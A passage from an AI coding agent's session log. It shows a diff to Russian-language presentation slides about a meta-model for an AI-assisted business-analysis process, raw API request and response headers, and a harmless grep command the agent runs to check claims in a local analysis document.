\u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430. \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u043f\u0440\u0430\u0432\u043a\u0438\",\n[2026-09-29T07:51:27.871Z] [INFO]                 \"+  \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438: \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442.\",\n[2026-09-29T07:51:27.871Z] [INFO]                 \"+- **\u0410\u0432\u0433\u0443\u0441\u0442:** 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445; \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e, \u0447\u0442\u043e evals \u0438\",\n[2026-09-29T07:51:27.871Z] [INFO]                 \"+  \u044d\u0442\u0430\u043b\u043e\u043d\u043e\u0432 \u043d\u0435\u0442.\",\n[2026-09-29T07:51:27.871Z] [INFO]                 \" - **\u0421\u0435\u043d\u0442\u044f\u0431\u0440\u044c:** \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432. \u0412\u0430\u0440\u0438\u0430\u043d\u0442\u044b\",\n[2026-09-29T07:51:27.871Z] [INFO]                 \"   \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u043f\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u043d\u0430 0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443; 10 \u0438\u0437 12\",\n[2026-09-29T07:51:27.871Z] [INFO]                 \"   \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435\u0442 \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\"\n[2026-09-29T07:51:27.871Z] [INFO]               ]\n[2026-09-29T07:51:27.871Z] [INFO]             },\n[2026-09-29T07:51:27.871Z] [INFO]             {\n[2026-09-29T07:51:27.871Z] [INFO]               \"oldStart\": 199,\n[2026-09-29T07:51:27.871Z] [INFO]               \"oldLines\": 8,\n[2026-09-29T07:51:27.871Z] [INFO]               \"newStart\": 199,\n[2026-09-29T07:51:27.871Z] [INFO]               \"newLines\": 8,\n[2026-09-29T07:51:27.871Z] [INFO]               \"lines\": [\n[2026-09-29T07:51:27.871Z] [INFO]                 \"   \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0441\u043b\u0443\u0436\u0430\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0431\u0430\u0437\u043e\u0439.\",\n[2026-09-29T07:51:27.871Z] [INFO]                 \" \",\n[2026-09-29T07:51:27.871Z] [INFO]                 \" > **\u0418\u0437 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438:** \u00ab\u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442. \u041d\u0443\u0436\u0435\u043d\",\n[2026-09-29T07:51:27.871Z] [INFO]                 \"-> \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u2026 \u0438 \u0442\u0440\u0438 \u0433\u0435\u0439\u0442\u0430: \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439, \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0438\",\n[2026-09-29T07:51:27.871Z] [INFO]                 \"-> \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439\u00bb.\",\n[2026-09-29T07:51:27.871Z] [INFO]                 \"+> \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 [\u2026] \u0438 \u0442\u0440\u0435\u043c\u044f \u0433\u0435\u0439\u0442\u0430\u043c\u0438: \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c, \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c\",\n[2026-09-29T07:51:27.871Z] [INFO]                 \"+> \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c\u00bb.\",\n[2026-09-29T07:51:27.871Z] [INFO]                 \" \",\n[2026-09-29T07:51:27.871Z] [INFO]                 \" **\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0448\u043a\u0430\u043b\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u00abRUN-0001 \u2192 RUN-0069\u00bb \u0441 \u0442\u0440\u0435\u043c\u044f\",\n[2026-09-29T07:51:27.871Z] [INFO]                 \" \u0432\u0435\u0445\u0430\u043c\u0438: \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u2192 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u2192 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c.\"\n[2026-09-29T07:51:27.871Z] [INFO]               ]\n[2026-09-29T07:51:27.871Z] [INFO]             }\n[2026-09-29T07:51:27.871Z] [INFO]           ]\n[2026-09-29T07:51:27.871Z] [INFO]         }\n[2026-09-29T07:51:27.871Z] [INFO]       ],\n[2026-09-29T07:51:27.871Z] [INFO]       \"moreFiles\": 0,\n[2026-09-29T07:51:27.871Z] [INFO]       \"changedFiles\": [\n[2026-09-29T07:51:27.871Z] [INFO]         \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\"\n[2026-09-29T07:51:27.871Z] [INFO]       ]\n[2026-09-29T07:51:27.871Z] [INFO]     }\n[2026-09-29T07:51:27.871Z] [INFO]   }\n[2026-09-29T07:51:27.871Z] [INFO] }\n[2026-09-29T07:51:27.919Z] [STDOUT] [log_c3f162] sending request {\n[2026-09-29T07:51:27.926Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:51:27.932Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:51:27.946Z] [STDOUT]   options: {\n[2026-09-29T07:51:27.950Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:51:27.961Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:51:27.966Z] [STDOUT]     body: {\n[2026-09-29T07:51:27.970Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:51:27.974Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:51:27.977Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:51:27.981Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:51:27.983Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:51:27.986Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:51:27.989Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:51:27.992Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:51:27.995Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:51:27.999Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:51:28.001Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:51:28.007Z] [STDOUT]       stream: true,\n[2026-09-29T07:51:28.011Z] [STDOUT]     },\n[2026-09-29T07:51:28.019Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:51:28.027Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:51:28.033Z] [STDOUT]       aborted: false,\n[2026-09-29T07:51:28.037Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:51:28.041Z] [STDOUT]       onabort: null,\n[2026-09-29T07:51:28.046Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:51:28.049Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:51:28.055Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:51:28.061Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:51:28.070Z] [STDOUT]     },\n[2026-09-29T07:51:28.073Z] [STDOUT]     stream: true,\n[2026-09-29T07:51:28.077Z] [STDOUT]   },\n[2026-09-29T07:51:28.081Z] [STDOUT]   headers: {\n[2026-09-29T07:51:28.084Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:51:28.088Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:51:28.093Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:51:28.095Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:51:28.098Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:51:28.100Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:51:28.103Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:51:28.107Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:51:28.110Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:51:28.119Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1639\",\n[2026-09-29T07:51:28.125Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:51:28.128Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:51:28.136Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:28.145Z] [STDOUT]     \"x-client-request-id\": \"aa2a7c31-035b-434e-9ed0-d4bd2b91284d\",\n[2026-09-29T07:51:28.156Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:51:28.164Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:51:28.169Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:51:28.175Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:51:28.181Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:51:28.185Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:51:28.189Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:51:28.197Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:51:28.203Z] [STDOUT]   },\n[2026-09-29T07:51:28.216Z] [STDOUT] }\n[2026-09-29T07:51:28.702Z] [STDOUT] [log_c3f162, request-id: \"req_011CfXNDXR7QBqP2YKYbPnnJ\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 782ms\n[2026-09-29T07:51:28.705Z] [STDOUT] [log_c3f162] response start {\n[2026-09-29T07:51:28.708Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:51:28.719Z] [STDOUT]   status: 200,\n[2026-09-29T07:51:28.731Z] [STDOUT]   headers: {\n[2026-09-29T07:51:28.734Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:51:28.741Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:51:28.751Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:51:28.762Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:51:28.766Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:51:28.770Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:51:28.780Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:51:28.790Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:51:28.800Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:51:28.808Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:51:28.813Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:51:28.816Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:51:28.820Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:51:28.825Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:51:28.829Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:51:28.835Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:51:28.839Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:51:28.841Z] [STDOUT]     \"cf-ray\": \"a429671f8f3601ff-CDG\",\n[2026-09-29T07:51:28.844Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:51:28.848Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:51:28.851Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:51:28.854Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:51:28.857Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:51:28 GMT\",\n[2026-09-29T07:51:28.860Z] [STDOUT]     \"request-id\": \"req_011CfXNDXR7QBqP2YKYbPnnJ\",\n[2026-09-29T07:51:28.863Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:51:28.866Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:51:28.871Z] [STDOUT]     traceresponse: \"00-66b436c2b3dc4f297f962a69a76fac33-2d97a486e51adb3c-01\",\n[2026-09-29T07:51:28.873Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:51:28.879Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:51:28.884Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:51:28.888Z] [STDOUT]   },\n[2026-09-29T07:51:28.891Z] [STDOUT]   durationMs: 782,\n[2026-09-29T07:51:28.894Z] [STDOUT] }\n[2026-09-29T07:51:28.899Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:51:28.903Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:51:28 GMT\",\n[2026-09-29T07:51:28.908Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:51:28.916Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:51:28.920Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:51:28.924Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:51:28.927Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:51:28.931Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:51:28.937Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:51:28.942Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:51:28.950Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:51:28.954Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:51:28.959Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:51:28.962Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:51:28.965Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:51:28.972Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:51:28.979Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:51:28.984Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:51:28.988Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:51:28.991Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:51:28.995Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:51:29.000Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:51:29.007Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:51:29.012Z] [STDOUT]   \"request-id\": \"req_011CfXNDXR7QBqP2YKYbPnnJ\",\n[2026-09-29T07:51:29.015Z] [STDOUT]   \"traceresponse\": \"00-66b436c2b3dc4f297f962a69a76fac33-2d97a486e51adb3c-01\",\n[2026-09-29T07:51:29.018Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:51:29.022Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:51:29.026Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:51:29.033Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:51:29.036Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:51:29.039Z] [STDOUT]   \"cf-ray\": \"a429671f8f3601ff-CDG\",\n[2026-09-29T07:51:29.043Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:51:29.048Z] [STDOUT] [log_c3f162] response parsed {\n[2026-09-29T07:51:29.052Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:51:29.057Z] [STDOUT]   status: 200,\n[2026-09-29T07:51:29.060Z] [STDOUT]   body: X {\n[2026-09-29T07:51:29.063Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:51:29.067Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:51:29.070Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:51:29.073Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:51:29.076Z] [STDOUT]     },\n[2026-09-29T07:51:29.079Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:51:29.082Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:51:29.084Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:51:29.092Z] [STDOUT]   },\n[2026-09-29T07:51:29.101Z] [STDOUT]   durationMs: 783,\n[2026-09-29T07:51:29.111Z] [STDOUT] }\n[2026-09-29T07:51:29.238Z] [INFO] {\n[2026-09-29T07:51:29.238Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:51:29.238Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:51:29.238Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:51:29.238Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:51:29.238Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:29.238Z] [INFO]   \"uuid\": \"9cd9fc10-1d1f-44c1-a7ec-7d1987eb681f\"\n[2026-09-29T07:51:29.238Z] [INFO] }\n[2026-09-29T07:51:30.279Z] [INFO] {\n[2026-09-29T07:51:30.279Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:51:30.279Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:51:30.279Z] [INFO]   \"estimated_tokens\": 253,\n[2026-09-29T07:51:30.279Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:51:30.279Z] [INFO]   \"session_id\": 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[INFO]       }\n[2026-09-29T07:51:30.297Z] [INFO]     ],\n[2026-09-29T07:51:30.297Z] [INFO]     \"container\": null,\n[2026-09-29T07:51:30.297Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:51:30.297Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:51:30.297Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:51:30.297Z] [INFO]     \"usage\": {\n[2026-09-29T07:51:30.297Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:51:30.297Z] [INFO]       \"cache_creation_input_tokens\": 945,\n[2026-09-29T07:51:30.297Z] [INFO]       \"cache_read_input_tokens\": 100189,\n[2026-09-29T07:51:30.297Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:51:30.297Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:51:30.297Z] [INFO]         \"ephemeral_1h_input_tokens\": 945\n[2026-09-29T07:51:30.297Z] [INFO]       },\n[2026-09-29T07:51:30.297Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:51:30.297Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:51:30.297Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:51:30.297Z] [INFO]     },\n[2026-09-29T07:51:30.297Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:51:30.297Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:51:30.297Z] [INFO]     \"context_management\": null\n[2026-09-29T07:51:30.297Z] [INFO]   },\n[2026-09-29T07:51:30.297Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:51:30.297Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:30.297Z] [INFO]   \"uuid\": \"6e492077-2e10-45f2-b34e-8dc2459a2738\",\n[2026-09-29T07:51:30.297Z] [INFO]   \"timestamp\": \"2026-09-29T07:51:30.278Z\",\n[2026-09-29T07:51:30.297Z] [INFO]   \"request_id\": \"req_011CfXNDXR7QBqP2YKYbPnnJ\"\n[2026-09-29T07:51:30.297Z] [INFO] }\n[2026-09-29T07:51:31.626Z] [INFO] {\n[2026-09-29T07:51:31.626Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:51:31.626Z] [INFO]   \"message\": {\n[2026-09-29T07:51:31.626Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:51:31.626Z] [INFO]     \"id\": \"msg_011CfXNDXx7TVDABwedNMM22\",\n[2026-09-29T07:51:31.626Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:51:31.626Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:51:31.626Z] [INFO]     \"content\": [\n[2026-09-29T07:51:31.626Z] [INFO]       {\n[2026-09-29T07:51:31.626Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:51:31.626Z] [INFO]         \"id\": \"toolu_01BmmtAVMnPoufchp71Vez6b\",\n[2026-09-29T07:51:31.626Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:51:31.626Z] [INFO]         \"input\": {\n[2026-09-29T07:51:31.626Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process; grep -n \\\"95\\\\|OpenAI\\\" docs/analysis/2026-09-29-ba-ai-process-runtime-options.md | cut -c1-400 | head -10; grep -n \\\"own your control\\\\|12-factor\\\\|Building effective\\\" docs/analysis/2026-09-29-ba-ai-process-runtime-options.md | cut -c1-300 | head -5\",\n[2026-09-29T07:51:31.626Z] [INFO]           \"description\": \"Verify threshold and API claims\"\n[2026-09-29T07:51:31.626Z] [INFO]         },\n[2026-09-29T07:51:31.626Z] [INFO]         \"caller\": {\n[2026-09-29T07:51:31.626Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:51:31.626Z] [INFO]         }\n[2026-09-29T07:51:31.626Z] [INFO]       }\n[2026-09-29T07:51:31.626Z] [INFO]     ],\n[2026-09-29T07:51:31.626Z] [INFO]     \"container\": null,\n[2026-09-29T07:51:31.626Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:51:31.626Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:51:31.626Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:51:31.626Z] [INFO]     \"usage\": {\n[2026-09-29T07:51:31.626Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:51:31.626Z] [INFO]       \"cache_creation_input_tokens\": 945,\n[2026-09-29T07:51:31.626Z] [INFO]       \"cache_read_input_tokens\": 100189,\n[2026-09-29T07:51:31.626Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:51:31.626Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:51:31.626Z] [INFO]         \"ephemeral_1h_input_tokens\": 945\n[2026-09-29T07:51:31.626Z] [INFO]       },\n[2026-09-29T07:51:31.626Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:51:31.626Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:51:31.626Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:51:31.626Z] [INFO]     },\n[2026-09-29T07:51:31.626Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:51:31.626Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:51:31.626Z] [INFO]     \"context_management\": null\n[2026-09-29T07:51:31.626Z] [INFO]   },\n[2026-09-29T07:51:31.626Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:51:31.626Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:31.626Z] [INFO]   \"uuid\": \"2a0565aa-74ba-4b0f-9b99-be50fdb86100\",\n[2026-09-29T07:51:31.626Z] [INFO]   \"timestamp\": \"2026-09-29T07:51:31.619Z\",\n[2026-09-29T07:51:31.626Z] [INFO]   \"request_id\": \"req_011CfXNDXR7QBqP2YKYbPnnJ\",\n[2026-09-29T07:51:31.626Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:51:31.626Z] [INFO]     \"toolu_01BmmtAVMnPoufchp71Vez6b\": {\n[2026-09-29T07:51:31.626Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process; grep -n \\\"95\\\\|OpenAI\\\" docs/analysis/2026-09-29-ba-ai-process-runtime-options.md | cut -c1-400 | head -10; grep -n \\\"own your control\\\\|12-factor\\\\|Building effective\\\" docs/analysis/2026-09-29-ba-ai-process-runtime-options.md | cut -c1-300 | head -5\",\n[2026-09-29T07:51:31.626Z] [INFO]       \"description\": \"Verify threshold and API claims\"\n[2026-09-29T07:51:31.626Z] [INFO]     }\n[2026-09-29T07:51:31.626Z] [INFO]   }\n[2026-09-29T07:51:31.626Z] [INFO] }\n[2026-09-29T07:51:33.062Z] [INFO] {\n[2026-09-29T07:51:33.062Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:51:33.062Z] [INFO]   \"message\": 